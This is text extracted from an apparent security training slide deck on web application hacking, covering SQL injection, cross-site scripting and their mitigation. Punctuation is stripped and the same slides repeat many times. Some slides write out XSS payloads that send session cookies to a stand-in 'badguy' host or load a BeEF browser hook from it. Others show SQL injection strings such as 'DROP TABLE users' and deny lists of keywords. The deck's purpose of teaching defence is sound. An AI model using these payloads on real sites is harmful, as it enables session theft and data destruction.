hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 40: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 41: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 42: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 43: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 44: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 45: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

